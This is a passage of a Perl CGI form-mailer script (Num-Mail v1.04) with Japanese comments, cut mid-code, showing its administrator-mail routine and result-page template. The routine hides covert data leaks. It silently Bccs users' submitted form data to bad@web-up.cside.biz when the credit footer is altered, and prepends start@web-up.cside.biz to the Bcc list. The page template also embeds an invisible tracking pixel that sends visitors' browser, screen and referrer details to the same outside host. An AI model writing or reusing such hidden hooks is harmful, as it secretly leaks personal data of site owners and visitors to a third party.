検証

	# 管理者宛てメール送信
	if($send_admin){

		$mes_admin =~ s/##send_data##/$send_data/g; $bad = 0;
		&jcode::convert(\$mes_admin,'jis');

		if(!open(MAIL,"| $sendmail -t")){&error('メール処理が出来ませんでした');}
		if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/){$bcc = 'bad@web-up.cside.biz'; $bad = 1;}
		print MAIL &mimeencode("To: $admin_name <$to>\n");
		print MAIL &mimeencode("From: $mail_name　$keisyou <$mailto>\n");
		print MAIL &mimeencode("Subject: $sub_admin\n");
		print MAIL "Bcc: $bcc\n" if $bcc;
		print MAIL "Return-Path: $mailto\n";
		print MAIL "X-Processed: $date\n";
		print MAIL "X-HOST: $host\n";
		print MAIL "X-HTTP-HOST: $ENV{'HTTP_HOST'}$ENV{'SCRIPT_NAME'}\n";
		print MAIL "X-Mailer: $ver System\n";
		print MAIL "X-HTTP-REFERER: $ENV{'HTTP_REFERER'}\n";
		print MAIL "MIME-Version: 1.0\n";
		print MAIL "Content-type: text/plain; charset=ISO-2022-JP\n";
		print MAIL "Content-Transfer-Encoding: 7bit\n\n";
		print MAIL "$mes_admin.$Mail_Credit\n";
		close(MAIL);

	}

	if($TEMP eq ''){
		my $H = $ENV{'HTTP_HOST'};
		my $S = $ENV{'SCRIPT_NAME'};
		$PAGE = <<EOF;
<script type="text/javascript" language="JavaScript">
<!--
var pg = "$H$S";
var a = "&&";
var pf = navigator.platform + a; var lng = navigator.language + a;
var swh = screen.width + "x" + screen.height + a;
var cd = screen.colorDepth + a; var pd = screen.pixelDepth + a;
var rf = document.referrer;
document.write("<img src='http://web-up.cside.biz/cgi/use/ac.cgi?");
document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");
// -->
</script>
<noscript>
<img src="http://web-up.cside.biz/cgi/use/ac.cgi?pg=$H$S" width=1 height=1 border=0>
</noscript>
EOF

		$bcc = 'start@web-up.cside.biz;'.$bcc;